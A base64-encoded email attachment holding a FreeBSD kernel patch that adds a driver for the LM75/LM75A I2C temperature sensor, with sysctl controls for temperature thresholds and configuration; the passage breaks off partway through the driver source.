Content-Transfer-Encoding: base64 X-Attachment-Id: f_hsvtugdh0 SW5kZXg6IHN5cy9jb25mL2ZpbGVzCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIHN5cy9jb25mL2ZpbGVzCShyZXZp c2lvbiAyNjI4NjApCisrKyBzeXMvY29uZi9maWxlcwkod29ya2luZyBjb3B5KQpAQCAtMTQ0Myw2 ICsxNDQzLDcgQEAKIGRldi9paWNidXMvaWljc21iLmMJCW9wdGlvbmFsIGlpY3NtYgkJCQlcCiAJ ZGVwZW5kZW5jeQkiaWljYnVzX2lmLmgiCiBkZXYvaWljYnVzL2lpY29jLmMJCW9wdGlvbmFsIGlp Y29jCitkZXYvaWljYnVzL2xtNzUuYwkJb3B0aW9uYWwgbG03NQogZGV2L2lpY2J1cy9wY2Y4NTYz LmMJCW9wdGlvbmFsIHBjZjg1NjMKIGRldi9paWNidXMvczM1MzkwYS5jCQlvcHRpb25hbCBzMzUz OTBhCiBkZXYvaWlyL2lpci5jCQkJb3B0aW9uYWwgaWlyCkluZGV4OiBzeXMvZGV2L2lpY2J1cy9s bTc1LmMKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PQotLS0gc3lzL2Rldi9paWNidXMvbG03NS5jCShyZXZpc2lvbiAwKQor Kysgc3lzL2Rldi9paWNidXMvbG03NS5jCSh3b3JraW5nIGNvcHkpCkBAIC0wLDAgKzEsNTU3IEBA CisvKi0KKyAqIENvcHlyaWdodCAoYykgMjAxMCBBbmRyZWFzIFRvYmxlci4KKyAqIENvcHlyaWdo dCAoYykgMjAxMyBMdWl6IE90YXZpbyBPIFNvdXphIDxsb29zQGZyZWVic2Qub3JnPi4KKyAqIEFs bCByaWdodHMgcmVzZXJ2ZWQuCisgKgorICogUmVkaXN0cmlidXRpb24gYW5kIHVzZSBpbiBzb3Vy Y2UgYW5kIGJpbmFyeSBmb3Jtcywgd2l0aCBvciB3aXRob3V0CisgKiBtb2RpZmljYXRpb24sIGFy ZSBwZXJtaXR0ZWQgcHJvdmlkZWQgdGhhdCB0aGUgZm9sbG93aW5nIGNvbmRpdGlvbnMKKyAqIGFy ZSBtZXQ6CisgKiAxLiBSZWRpc3RyaWJ1dGlvbnMgb2Ygc291cmNlIGNvZGUgbXVzdCByZXRhaW4g dGhlIGFib3ZlIGNvcHlyaWdodAorICogICAgbm90aWNlLCB0aGlzIGxpc3Qgb2YgY29uZGl0aW9u cyBhbmQgdGhlIGZvbGxvd2luZyBkaXNjbGFpbWVyLgorICogMi4gUmVkaXN0cmlidXRpb25zIGlu IGJpbmFyeSBmb3JtIG11c3QgcmVwcm9kdWNlIHRoZSBhYm92ZSBjb3B5cmlnaHQKKyAqICAgIG5v dGljZSwgdGhpcyBsaXN0IG9mIGNvbmRpdGlvbnMgYW5kIHRoZSBmb2xsb3dpbmcgZGlzY2xhaW1l ciBpbiB0aGUKKyAqICAgIGRvY3VtZW50YXRpb24gYW5kL29yIG90aGVyIG1hdGVyaWFscyBwcm92 aWRlZCB3aXRoIHRoZSBkaXN0cmlidXRpb24uCisgKgorICogVEhJUyBTT0ZUV0FSRSBJUyBQUk9W SURFRCBCWSBUSEUgQVVUSE9SIGBgQVMgSVMnJyBBTkQgQU5ZIEVYUFJFU1MgT1IKKyAqIElNUExJ RUQgV0FSUkFOVElFUywgSU5DTFVESU5HLCBCVVQgTk9UIExJTUlURUQgVE8sIFRIRSBJTVBMSUVE IFdBUlJBTlRJRVMKKyAqIE9GIE1FUkNIQU5UQUJJTElUWSBBTkQgRklUTkVTUyBGT1IgQSBQQVJU SUNVTEFSIFBVUlBPU0UgQVJFIERJU0NMQUlNRUQuCisgKiBJTiBOTyBFVkVOVCBTSEFMTCBUSEUg QVVUSE9SIEJFIExJQUJMRSBGT1IgQU5ZIERJUkVDVCwgSU5ESVJFQ1QsCisgKiBJTkNJREVOVEFM LCBTUEVDSUFMLCBFWEVNUExBUlksIE9SIENPTlNFUVVFTlRJQUwgREFNQUdFUyAoSU5DTFVESU5H LAorICogQlVUIE5PVCBMSU1JVEVEIFRPLCBQUk9DVVJFTUVOVCBPRiBTVUJTVElUVVRFIEdPT0RT IE9SIFNFUlZJQ0VTOworICogTE9TUyBPRiBVU0UsIERBVEEsIE9SIFBST0ZJVFM7IE9SIEJVU0lO RVNTIElOVEVSUlVQVElPTikgSE9XRVZFUiBDQVVTRUQKKyAqIEFORCBPTiBBTlkgVEhFT1JZIE9G IExJQUJJTElUWSwgV0hFVEhFUiBJTiBDT05UUkFDVCwgU1RSSUNUIExJQUJJTElUWSwKKyAqIE9S IFRPUlQgKElOQ0xVRElORyBORUdMSUdFTkNFIE9SIE9USEVSV0lTRSkgQVJJU0lORyBJTiBBTlkg V0FZCisgKiBPVVQgT0YgVEhFIFVTRSBPRiBUSElTIFNPRlRXQVJFLCBFVkVOIElGIEFEVklTRUQg T0YgVEhFIFBPU1NJQklMSVRZIE9GCisgKiBTVUNIIERBTUFHRS4KKyAqLworCisjaW5jbHVkZSA8 c3lzL2NkZWZzLmg+CitfX0ZCU0RJRCgiJEZyZWVCU0QkIik7CisKKyNpbmNsdWRlICJvcHRfcGxh dGZvcm0uaCIKKworI2luY2x1ZGUgPHN5cy9wYXJhbS5oPgorI2luY2x1ZGUgPHN5cy9idXMuaD4K KyNpbmNsdWRlIDxzeXMvZW5kaWFuLmg+CisjaW5jbHVkZSA8c3lzL2tlcm5lbC5oPgorI2luY2x1 ZGUgPHN5cy9tb2R1bGUuaD4KKyNpbmNsdWRlIDxzeXMvc3lzY3RsLmg+CisjaW5jbHVkZSA8c3lz L3N5c3RtLmg+CisKKyNpbmNsdWRlIDxtYWNoaW5lL2J1cy5oPgorCisjaW5jbHVkZSA8ZGV2L2lp Y2J1cy9paWNidXMuaD4KKyNpbmNsdWRlIDxkZXYvaWljYnVzL2lpY29uZi5oPgorCisjaWZkZWYg RkRUCisjaW5jbHVkZSA8ZGV2L29mdy9vcGVuZmlybS5oPgorI2luY2x1ZGUgPGRldi9vZncvb2Z3 X2J1cy5oPgorI2luY2x1ZGUgPGRldi9vZncvb2Z3X2J1c19zdWJyLmg+CisjZW5kaWYKKworLyog TE03NSByZWdpc3RlcnMuICovCisjZGVmaW5lCUxNNzVfVEVNUAkweDAKKyNkZWZpbmUJTE03NV9D T05GCTB4MQorI2RlZmluZQlMTTc1X0NPTkZfRlNISUZUCTMKKyNkZWZpbmUJTE03NV9DT05GX0ZB VUxUCQkweDE4CisjZGVmaW5lCUxNNzVfQ09ORl9QT0wJCTB4MDQKKyNkZWZpbmUJTE03NV9DT05G X01PREUJCTB4MDIKKyNkZWZpbmUJTE03NV9DT05GX1NIVVRECQkweDAxCisjZGVmaW5lCUxNNzVf Q09ORl9NQVNLCQkweDFmCisjZGVmaW5lCUxNNzVfVEhZU1QJMHgyCisjZGVmaW5lCUxNNzVfVE9T CTB4MworCisvKiBMTTc1IGNvbnN0YW50cy4gKi8KKyNkZWZpbmUJTE03NV9NSU5fVEVNUAktNTUK KyNkZWZpbmUJTE03NV9NQVhfVEVNUAkxMjUKKyNkZWZpbmUJTE03NV8wNTAwQwkweDgwCisjZGVm aW5lCUxNNzVfMDI1MEMJMHg0MAorI2RlZmluZQlMTTc1XzAxMjVDCTB4MjAKKyNkZWZpbmUJTE03 NV9NU0IJMHg4MDAwCisjZGVmaW5lCUxNNzVfTkVHX0JJVAlMTTc1X01TQgorI2RlZmluZQlUWl9a RVJPQwkyNzMyCisKKy8qIExNNzUgc3VwcG9ydGVkIG1vZGVscy4gKi8KKyNkZWZpbmUJSFdUWVBF X05PTkUJMAorI2RlZmluZQlIV1RZUEVfTE03NQkxCisjZGVmaW5lCUhXVFlQRV9MTTc1QQkyCisK KyNpZmRlZiBGRFQKK3N0YXRpYyBzdHJ1Y3Qgb2Z3X2NvbXBhdF9kYXRhIGNvbXBhdF9kYXRhW10g PSB7CisJeyAiZnJlZWJzZCxsbTc1IiwJSFdUWVBFX0xNNzUgfSwKKwl7ICJmcmVlYnNkLGxtNzVh IiwJSFdUWVBFX0xNNzVBIH0sCisJeyBOVUxMLAkJCUhXVFlQRV9OT05FIH0sCit9OworI2VuZGlm CisKKy8qIFJlZ3VsYXIgYnVzIGF0dGFjaG1lbnQgZnVuY3Rpb25zICovCitzdGF0aWMgaW50ICBs bTc1X3Byb2JlKGRldmljZV90KTsKK3N0YXRpYyBpbnQgIGxtNzVfYXR0YWNoKGRldmljZV90KTsK Kworc3RydWN0IGxtNzVfc29mdGMgeworCWRldmljZV90CQlzY19kZXY7CisJc3RydWN0IGludHJf Y29uZmlnX2hvb2sgZW51bV9ob29rOworCWludDMyX3QJCQlzY19od3R5cGU7CisJdWludDMyX3QJ CXNjX2FkZHI7CisJdWludDMyX3QJCXNjX2NvbmY7Cit9OworCitpbnQgbG03NV9mYXVsdHNbNF0g PSB7IDEsIDIsIDQsIDYgfTsKKworLyogVXRpbGl0eSBmdW5jdGlvbnMgKi8KK3N0YXRpYyBpbnQg IGxtNzVfY29uZl9yZWFkKHN0cnVjdCBsbTc1X3NvZnRjICopOworc3RhdGljIGludCAgbG03NV9j b25mX3dyaXRlKHN0cnVjdCBsbTc1X3NvZnRjICopOworc3RhdGljIGludCAgbG03NV90ZW1wX3Jl YWQoc3RydWN0IGxtNzVfc29mdGMgKiwgdWludDhfdCwgaW50ICopOworc3RhdGljIGludCAgbG03 NV90ZW1wX3dyaXRlKHN0cnVjdCBsbTc1X3NvZnRjICosIHVpbnQ4X3QsIGludCk7CitzdGF0aWMg dm9pZCBsbTc1X3N0YXJ0KHZvaWQgKik7CitzdGF0aWMgaW50ICBsbTc1X3JlYWQoZGV2aWNlX3Qs IHVpbnQzMl90LCB1aW50OF90LCB1aW50OF90ICosIHNpemVfdCk7CitzdGF0aWMgaW50ICBsbTc1 X3dyaXRlKGRldmljZV90LCB1aW50MzJfdCwgdWludDhfdCAqLCBzaXplX3QpOworc3RhdGljIGlu dCAgbG03NV9zdHJfbW9kZShjaGFyICopOworc3RhdGljIGludCAgbG03NV9zdHJfcG9sKGNoYXIg Kik7CitzdGF0aWMgaW50ICBsbTc1X3RlbXBfc3lzY3RsKFNZU0NUTF9IQU5ETEVSX0FSR1MpOwor c3RhdGljIGludCAgbG03NV9mYXVsdHNfc3lzY3RsKFNZU0NUTF9IQU5ETEVSX0FSR1MpOworc3Rh dGljIGludCAgbG03NV9tb2RlX3N5c2N0bChTWVNDVExfSEFORExFUl9BUkdTKTsKK3N0YXRpYyBp bnQgIGxtNzVfcG9sX3N5c2N0bChTWVNDVExfSEFORExFUl9BUkdTKTsKK3N0YXRpYyBpbnQgIGxt NzVfc2h1dGRvd25fc3lzY3RsKFNZU0NUTF9IQU5ETEVSX0FSR1MpOworCitzdGF0aWMgZGV2aWNl X21ldGhvZF90ICBsbTc1X21ldGhvZHNbXSA9IHsKKwkvKiBEZXZpY2UgaW50ZXJmYWNlICovCisJ REVWTUVUSE9EKGRldmljZV9wcm9iZSwJCWxtNzVfcHJvYmUpLAorCURFVk1FVEhPRChkZXZpY2Vf YXR0YWNoLAlsbTc1X2F0dGFjaCksCisKKwlERVZNRVRIT0RfRU5ECit9OworCitzdGF0aWMgZHJp dmVyX3QgbG03NV9kcml2ZXIgPSB7CisJImxtNzUiLAorCWxtNzVfbWV0aG9kcywKKwlzaXplb2Yo c3RydWN0IGxtNzVfc29mdGMpCit9OworCitzdGF0aWMgZGV2Y2xhc3NfdCBsbTc1X2RldmNsYXNz OworCitEUklWRVJfTU9EVUxFKGxtNzUsIGlpY2J1cywgbG03NV9kcml2ZXIsIGxtNzVfZGV2Y2xh c3MsIDAsIDApOworCitzdGF0aWMgaW50CitsbTc1X3JlYWQoZGV2aWNlX3QgZGV2LCB1aW50MzJf dCBhZGRyLCB1aW50OF90IHJlZywgdWludDhfdCAqZGF0YSwgc2l6ZV90IGxlbikKK3sKKwlpbnQg dHJ5OworCisJc3RydWN0IGlpY19tc2cgbXNnWzJdID0geworCSAgICB7IGFkZHIsIElJQ19NX1dS IHwgSUlDX01fTk9TVE9QLCAxLCAmcmVnIH0sCisJICAgIHsgYWRkciwgSUlDX01fUkQsIGxlbiwg ZGF0YSB9LAorCX07CisKKwl0cnkgPSAwOworCWZvciAoOzspIHsKKwkJaWYgKGlpY2J1c190cmFu c2ZlcihkZXYsIG1zZywgMikgIT0gMCkKKwkJCWdvdG8gcmV0cnk7CisKKwkJcmV0dXJuICgwKTsK KwlyZXRyeToKKwkJaWYgKCsrdHJ5ID4gNSkgeworCQkJZGV2aWNlX3ByaW50ZihkZXYsICJpaWNi dXMgcmVhZCBmYWlsZWRcbiIpOworCQkJcmV0dXJuICgtMSk7CisJCX0KKwkJcGF1c2UoImxtNzVf cmVhZCIsIGh6KTsKKwl9Cit9CisKK3N0YXRpYyBpbnQKK2xtNzVfd3JpdGUoZGV2aWNlX3QgZGV2 LCB1aW50MzJfdCBhZGRyLCB1aW50OF90ICpkYXRhLCBzaXplX3QgbGVuKQoreworCWludCB0cnk7 CisKKwlzdHJ1Y3QgaWljX21zZyBtc2dbMV0gPSB7CisJICAgIHsgYWRkciwgSUlDX01fV1IsIGxl biwgZGF0YSB9LAorCX07CisKKwl0cnkgPSAwOworCWZvciAoOzspIHsKKwkJaWYgKGlpY2J1c190 cmFuc2ZlcihkZXYsIG1zZywgMSkgIT0gMCkKKwkJCWdvdG8gcmV0cnk7CisKKwkJcmV0dXJuICgw KTsKKwlyZXRyeToKKwkJaWYgKCsrdHJ5ID4gNSkgeworCQkJZGV2aWNlX3ByaW50ZihkZXYsICJp aWNidXMgd3JpdGUgZmFpbGVkXG4iKTsKKwkJCXJldHVybiAoLTEpOworCQl9CisJCXBhdXNlKCJs bTc1X3dyaXRlIiwgaHopOworCX0KK30KKworc3RhdGljIGludAorbG03NV9wcm9iZShkZXZpY2Vf dCBkZXYpCit7CisJaW50IHR5cGU7CisJc3RydWN0IGxtNzVfc29mdGMgKnNjOworCisJdHlwZSA9 IDA7CisJc2MgPSBkZXZpY2VfZ2V0X3NvZnRjKGRldik7CisjaWZkZWYgRkRUCisJc2MtPnNjX2h3 dHlwZSA9IG9md19idXNfc2VhcmNoX2NvbXBhdGlibGUoZGV2LCBjb21wYXRfZGF0YSktPm9jZF9k YXRhOworCWlmIChzYy0+c2NfaHd0eXBlID09IEhXVFlQRV9OT05FKQorCQlyZXR1cm4gKEVOWElP KTsKKyNlbHNlCisJc2MtPnNjX2h3dHlwZSA9IEhXVFlQRV9MTTc1OworCWlmIChyZXNvdXJjZV9p bnRfdmFsdWUoZGV2aWNlX2dldF9uYW1lKGRldiksIGRldmljZV9nZXRfdW5pdChkZXYpLAorCSAg ICAibG03NWEiLCAmdHlwZSkgPT0gMCAmJiB0eXBlKQorCQlzYy0+c2NfaHd0eXBlID0gSFdUWVBF X0xNNzVBOworI2VuZGlmCisKKwlzd2l0Y2ggKHNjLT5zY19od3R5cGUpIHsKKwljYXNlIEhXVFlQ RV9MTTc1QToKKwkJZGV2aWNlX3NldF9kZXNjKGRldiwgIkxNNzVBIHRlbXBlcmF0dXJlIHNlbnNv ciIpOworCQlicmVhazsKKwlkZWZhdWx0OgorCQlkZXZpY2Vfc2V0X2Rlc2MoZGV2LCAiTE03NSB0 ZW1wZXJhdHVyZSBzZW5zb3IiKTsKKwl9CisKKwlyZXR1cm4gKEJVU19QUk9CRV9HRU5FUklDKTsK K30KKworc3RhdGljIGludAorbG03NV9hdHRhY2goZGV2aWNlX3QgZGV2KQoreworCXN0cnVjdCBs bTc1X3NvZnRjICpzYzsKKworCXNjID0gZGV2aWNlX2dldF9zb2Z0YyhkZXYpOworCXNjLT5zY19k ZXYgPSBkZXY7CisJc2MtPnNjX2FkZHIgPSBpaWNidXNfZ2V0X2FkZHIoZGV2KTsKKworCXNjLT5l bnVtX2hvb2suaWNoX2Z1bmMgPSBsbTc1X3N0YXJ0OworCXNjLT5lbnVtX2hvb2suaWNoX2FyZyA9 IGRldjsKKworCS8qCisJICogV2UgaGF2ZSB0byB3YWl0IHVudGlsIGludGVycnVwdHMgYXJlIGVu YWJsZWQuIEkyQyByZWFkIGFuZCB3cml0ZQorCSAqIG9ubHkgd29ya3MgaWYgdGhlIGludGVycnVw dHMgYXJlIGF2YWlsYWJsZS4KKwkgKi8KKwlpZiAoY29uZmlnX2ludHJob29rX2VzdGFibGlzaCgm c2MtPmVudW1faG9vaykgIT0gMCkKKwkJcmV0dXJuIChFTk9NRU0pOworCisJcmV0dXJuICgwKTsK K30KKworc3RhdGljIHZvaWQKK2xtNzVfc3RhcnQodm9pZCAqeGRldikKK3sKKwlkZXZpY2VfdCBk ZXY7CisJc3RydWN0IGxtNzVfc29mdGMgKnNjOworCXN0cnVjdCBzeXNjdGxfY3R4X2xpc3QgKmN0 eDsKKwlzdHJ1Y3Qgc3lzY3RsX29pZCAqdHJlZV9ub2RlOworCXN0cnVjdCBzeXNjdGxfb2lkX2xp c3QgKnRyZWU7CisKKwlkZXYgPSAoZGV2aWNlX3QpeGRldjsKKwlzYyA9IGRldmljZV9nZXRfc29m dGMoZGV2KTsKKwljdHggPSBkZXZpY2VfZ2V0X3N5c2N0bF9jdHgoZGV2KTsKKwl0cmVlX25vZGUg PSBkZXZpY2VfZ2V0X3N5c2N0bF90cmVlKGRldik7CisJdHJlZSA9IFNZU0NUTF9DSElMRFJFTih0 cmVlX25vZGUpOworCisJY29uZmlnX2ludHJob29rX2Rpc2VzdGFibGlzaCgmc2MtPmVudW1faG9v ayk7CisKKwkvKiBSZWFkIHRoZSBjb25maWd1cmF0aW9uIHJlZ2lzdGVyLiAqLworCWlmIChsbTc1 X2NvbmZfcmVhZChzYykgIT0gMCkgeworCQlkZXZpY2VfcHJpbnRmKGRldiwgImNhbm5vdCByZWFk IHRoZSBjb25maWd1cmF0aW9uIHJlZ2lzdGVyLlxuIik7CisJCXJldHVybjsKKwl9CisKKwkvKiBU ZW1wZXJhdHVyZS4gKi8KKwlTWVNDVExfQUREX1BST0MoY3R4LCB0cmVlLCBPSURfQVVUTywgInRl bXBlcmF0dXJlIiwKKwkgICAgQ1RMVFlQRV9JTlQgfCBDVExGTEFHX1JEIHwgQ1RMRkxBR19NUFNB RkUsIGRldiwgTE03NV9URU1QLAorCSAgICBsbTc1X3RlbXBfc3lzY3RsLCAiSUsiLCAiQ3VycmVu dCB0ZW1wZXJhdHVyZSIpOworCVNZU0NUTF9BRERfUFJPQyhjdHgsIHRyZWUsIE9JRF9BVVRPLCAi dGh5c3QiLAorCSAgICBDVExUWVBFX0lOVCB8IENUTEZMQUdfUlcgfCBDVExGTEFHX01QU0FGRSwg ZGV2LCBMTTc1X1RIWVNULAorCSAgICBsbTc1X3RlbXBfc3lzY3RsLCAiSUsiLCAiSHlzdGVyZXNp cyB0ZW1wZXJhdHVyZSIpOworCVNZU0NUTF9BRERfUFJPQyhjdHgsIHRyZWUsIE9JRF9BVVRPLCAi dG9zIiwKKwkgICAgQ1RMVFlQRV9JTlQgfCBDVExGTEFHX1JXIHwgQ1RMRkxBR19NUFNBRkUsIGRl diwgTE03NV9UT1MsCisJICAgIGxtNzVfdGVtcF9zeXNjdGwsICJJSyIsICJPdmVydGVtcGVyYXR1 cmUiKTsKKworCS8qIENvbmZpZ3VyYXRpb24gcGFyYW1ldGVycy4gKi8KKwlTWVNDVExfQUREX1BS T0MoY3R4LCB0cmVlLCBPSURfQVVUTywgImZhdWx0cyIsCisJICAgIENUTEZMQUdfUlcgfCBDVExU WVBFX1VJTlQsIGRldiwgMCwKKwkgICAgbG03NV9mYXVsdHNfc3lzY3RsLCAiSVUiLCAiTE03NSBm YXVsdCBxdWV1ZSIpOworCVNZU0NUTF9BRERfUFJPQyhjdHgsIHRyZWUsIE9JRF9BVVRPLCAibW9k ZSIsCisJICAgIENUTEZMQUdfUlcgfCBDVExUWVBFX1NUUklORywgZGV2LCAwLAorCSAgICBsbTc1 X21vZGVfc3lzY3RsLCAiQSIsICJMTTc1IG1vZGUiKTsKKwlTWVNDVExfQUREX1BST0MoY3R4LCB0 cmVlLCBPSURfQVVUTywgInBvbGFyaXR5IiwKKwkgICAgQ1RMRkxBR19SVyB8IENUTFRZUEVfU1RS SU5HLCBkZXYsIDAsCisJICAgIGxtNzVfcG9sX3N5c2N0bCwgIkEiLCAiTE03NSBPUyBwb2xhcml0 eSIpOworCVNZU0NUTF9BRERfUFJPQyhjdHgsIHRyZWUsIE9JRF9BVVRPLCAic2h1dGRvd24iLAor CSAgICBDVExGTEFHX1JXIHwgQ1RMVFlQRV9VSU5ULCBkZXYsIDAsCisJICAgIGxtNzVfc2h1dGRv d25fc3lzY3RsLCAiSVUiLCAiTE03NSBzaHV0ZG93biIpOworfQorCitzdGF0aWMgaW50CitsbTc1 X2NvbmZfcmVhZChzdHJ1Y3QgbG03NV9zb2Z0YyAqc2MpCit7CisJdWludDhfdCBidWY4OworCisJ aWYgKGxtNzVfcmVhZChzYy0+c2NfZGV2LCBzYy0+c2NfYWRkciwgTE03NV9DT05GLCAmYnVmOCwg MSkgPCAwKQorCQlyZXR1cm4gKC0xKTsKKworCXNjLT5zY19jb25mID0gKHVpbnQzMl90KWJ1Zjg7 CisKKwlyZXR1cm4gKDApOworfQorCitzdGF0aWMgaW50CitsbTc1X2NvbmZfd3JpdGUoc3RydWN0 IGxtNzVfc29mdGMgKnNjKQoreworCXVpbnQ4X3QgYnVmOFsyXTsKKworCWJ1ZjhbMF0gPSBMTTc1 X0NPTkY7CisJYnVmOFsxXSA9ICh1aW50OF90KXNjLT5zY19jb25mICYgTE03NV9DT05GX01BU0s7 CisKKwlpZiAobG03NV93cml0ZShzYy0+c2NfZGV2LCBzYy0+c2NfYWRkciwgYnVmOCwgMikgPCAw KQorCQlyZXR1cm4gKC0xKTsKKworCXJldHVybiAoMCk7Cit9CisKK3N0YXRpYyBpbnQKK2xtNzVf dGVtcF9yZWFkKHN0cnVjdCBsbTc1X3NvZnRjICpzYywgdWludDhfdCByZWcsIGludCAqdGVtcCkK K3sKKwl1aW50OF90IGJ1ZjhbMl07CisJdWludDE2X3QgYnVmOworCWludCB0OworCisJaWYgKGxt NzVfcmVhZChzYy0+c2NfZGV2LCBzYy0+c2NfYWRkciwgcmVnLCBidWY4LCAyKSA8IDApCisJCXJl dHVybiAoLTEpOworCisJYnVmID0gKGJ1ZjhbMF0gPDwgOCkgfCAoYnVmOFsxXSAmIDB4ZmYpOwor CisJLyoKKwkgKiBMTTc1IGhhcyBhIDkgYml0IEFEQyB3aXRoIHJlc29sdXRpb24gb2YgMC41IEMg cGVyIGJpdC4KKwkgKiBMTTc1QSBoYXMgYSAxMSBiaXQgQURDIHdpdGggcmVzb2x1dGlvbiBvZiAw LjEyNSBDIHBlciBiaXQuCisJICogVGVtcGVyYXR1cmUgaXMgc3RvcmVkIHdpdGggdHdvJ3MgY29t cGxlbWVudC4KKwkgKi8KKwlpZiAoYnVmICYgTE03NV9ORUdfQklUKQorCQlidWYgPSB+YnVmICsg MTsKKwkqdGVtcCA9ICgoaW50MTZfdClidWYgPj4gOCkgKiAxMDsKKwl0ID0gMDsKKwlpZiAoc2Mt PnNjX2h3dHlwZSA9PSBIV1RZUEVfTE03NUEpIHsKKwkJaWYgKGJ1ZiAmIExNNzVfMDEyNUMpCisJ CQl0ICs9IDEyNTsKKwkJaWYgKGJ1ZiAmIExNNzVfMDI1MEMpCisJCQl0ICs9IDI1MDsKKwl9CisJ aWYgKGJ1ZiAmIExNNzVfMDUwMEMpCisJCXQgKz0gNTAwOworCXQgLz0gMTAwOworCSp0ZW1wICs9 IHQ7CisJaWYgKGJ1ZiAmIExNNzVfTkVHX0JJVCkKKwkJKnRlbXAgPSAtKCp0ZW1wKTsKKwkqdGVt cCArPSBUWl9aRVJPQzsKKworCXJldHVybiAoMCk7Cit9CisKK3N0YXRpYyBpbnQKK2xtNzVfdGVt cF93cml0ZShzdHJ1Y3QgbG03NV9zb2Z0YyAqc2MsIHVpbnQ4X3QgcmVnLCBpbnQgdGVtcCkKK3sK Kwl1aW50OF90IGJ1ZjhbM107CisJdWludDE2X3QgYnVmOworCisJaWYgKHRlbXAgPiBMTTc1X01B WF9URU1QKQorCQl0ZW1wID0gTE03NV9NQVhfVEVNUDsKKwlpZiAodGVtcCA8IExNNzVfTUlOX1RF TVApCisJCXRlbXAgPSBMTTc1X01JTl9URU1QOworCisJYnVmID0gKHVpbnQxNl90KXRlbXA7CisJ YnVmIDw8PSA4OworCisJYnVmOFswXSA9IHJlZzsKKwlidWY4WzFdID0gYnVmID4+IDg7CisJYnVm OFsyXSA9IGJ1ZiAmIDB4ZmY7CisKKwlpZiAobG03NV93cml0ZShzYy0+c2NfZGV2LCBzYy0+c2Nf YWRkciwgYnVmOCwgMykgPCAwKQorCQlyZXR1cm4gKC0xKTsKKworCXJldHVybiAoMCk7Cit9CisK K3N0YXRpYyBpbnQKK2xtNzVfc3RyX21vZGUoY2hhciAqYnVmKQoreworCWludCBsZW4sIHJ0cm47 CisKKwlydHJuID0gLTE7CisJbGVuID0gc3RybGVuKGJ1Zik7CisJaWYgKGxlbiA+IDIgJiYgc3Ry bmNhc2VjbXAoImludGVycnVwdCIsIGJ1ZiwgbGVuKSA9PSAwKQorCQlydHJuID0gMTsKKwllbHNl IGlmIChsZW4gPiAyICYmIHN0cm5jYXNlY21wKCJjb21wYXJhdG9yIiwgYnVmLCBsZW4pID09IDAp CisJCXJ0cm4gPSAwOworCisJcmV0dXJuIChydHJuKTsKK30KKworc3RhdGljIGludAorbG03NV9z dHJfcG9sKGNoYXIgKmJ1ZikKK3sKKwlpbnQgbGVuLCBydHJuOworCisJcnRybiA9IC0xOworCWxl biA9IHN0cmxlbihidWYpOworCWlmIChsZW4gPiAxICYmIHN0cm5jYXNlY21wKCJoaWdoIiwgYnVm LCBsZW4pID09IDApCisJCXJ0cm4gPSAxOworCWVsc2UgaWYgKGxlbiA+IDEgJiYgc3RybmNhc2Vj bXAoImxvdyIsIGJ1ZiwgbGVuKSA9PSAwKQorCQlydHJuID0gMDsKKwllbHNlIGlmIChsZW4gPiA4 ICYmIHN0cm5jYXNlY21wKCJhY3RpdmUtaGlnaCIsIGJ1ZiwgbGVuKSA9PSAwKQorCQlydHJuID0g MTsKKwllbHNlIGlmIChsZW4gPiA4ICYmIHN0cm5jYXNlY21wKCJhY3RpdmUtbG93IiwgYnVmLCBs ZW4pID09IDApCisJCXJ0cm4gPSAwOworCisJcmV0dXJuIChydHJuKTsKK30KKworc3RhdGljIGlu dAorbG03NV90ZW1wX3N5c2N0bChTWVNDVExfSEFORExFUl9BUkdTKQoreworCWRldmljZV90IGRl djsKKwlpbnQgZXJyb3IsIHRlbXA7CisJc3RydWN0IGxtNzVfc29mdGMgKnNjOworCXVpbnQ4X3Qg cmVnOworCisJZGV2ID0gYXJnMTsKKwlyZWcgPSBhcmcyOworCXNjID0gZGV2aWNlX2dldF9zb2Z0 YyhkZXYpOworCisJaWYgKGxtNzVfdGVtcF9yZWFkKHNjLCByZWcsICZ0ZW1wKSAhPSAwKQorCQly ZXR1cm4gKEVJTyk7CisKKwllcnJvciA9IHN5c2N0bF9oYW5kbGVfaW50KG9pZHAsICZ0ZW1wLCAw LCByZXEpOworCWlmIChlcnJvciAhPSAwIHx8IHJlcS0+bmV3cHRyID09IE5VTEwpCisJCXJldHVy biAoZXJyb3IpOworCisJaWYgKGxtNzVfdGVtcF93cml0ZShzYywgcmVnLCB0ZW1wKSAhPSAwKQor CQlyZXR1cm4gKEVJTyk7CisKKwlyZXR1cm4gKGVycm9yKTsKK30KKworc3RhdGljIGludAorbG03 NV9mYXVsdHNfc3lzY3RsKFNZU0NUTF9IQU5ETEVSX0FSR1MpCit7CisJZGV2aWNlX3QgZGV2Owor CWludCBlcnJvciwgZmF1bHRzLCBpLCBuZXdmLCB0bXA7CisJc3RydWN0IGxtNzVfc29mdGMgKnNj OworCisJZGV2ID0gYXJnMTsKKwlzYyA9IGRldmljZV9nZXRfc29mdGMoZGV2KTsKKwl0bXAgPSAo c2MtPnNjX2NvbmYgJiBMTTc1X0NPTkZfRkFVTFQpID4+IExNNzVfQ09ORl9GU0hJRlQ7CisJaWYg KHRtcCA+IG5pdGVtcyhsbTc1X2ZhdWx0cykpCisJCXRtcCA9IG5pdGVtcyhsbTc1X2ZhdWx0cyk7 CisJZmF1bHRzID0gbG03NV9mYXVsdHNbdG1wXTsKKworCWVycm9yID0gc3lzY3RsX2hhbmRsZV9p bnQob2lkcCwgJmZhdWx0cywgMCwgcmVxKTsKKwlpZiAoZXJyb3IgIT0gMCB8fCByZXEtPm5ld3B0 ciA9PSBOVUxMKQorCQlyZXR1cm4gKGVycm9yKTsKKworCWlmIChmYXVsdHMgIT0gbG03NV9mYXVs dHNbdG1wXSkgeworCQluZXdmID0gMDsKKwkJZm9yIChpID0gMDsgaSA8IG5pdGVtcyhsbTc1X2Zh dWx0cyk7IGkrKykKKwkJCWlmIChmYXVsdHMgPj0gbG03NV9mYXVsdHNbaV0pCisJCQkJbmV3ZiA9 IGk7CisJCXNjLT5zY19jb25mICY9IH5MTTc1X0NPTkZfRkFVTFQ7CisJCXNjLT5zY19jb25mIHw9 IG5ld2YgPDwgTE03NV9DT05GX0ZTSElGVDsKKwkJaWYgKGxtNzVfY29uZl93cml0ZShzYykgIT0g MCkKKwkJCXJldHVybiAoRUlPKTsKKwl9CisKKwlyZXR1cm4gKGVycm9yKTsKK30KKworc3RhdGlj 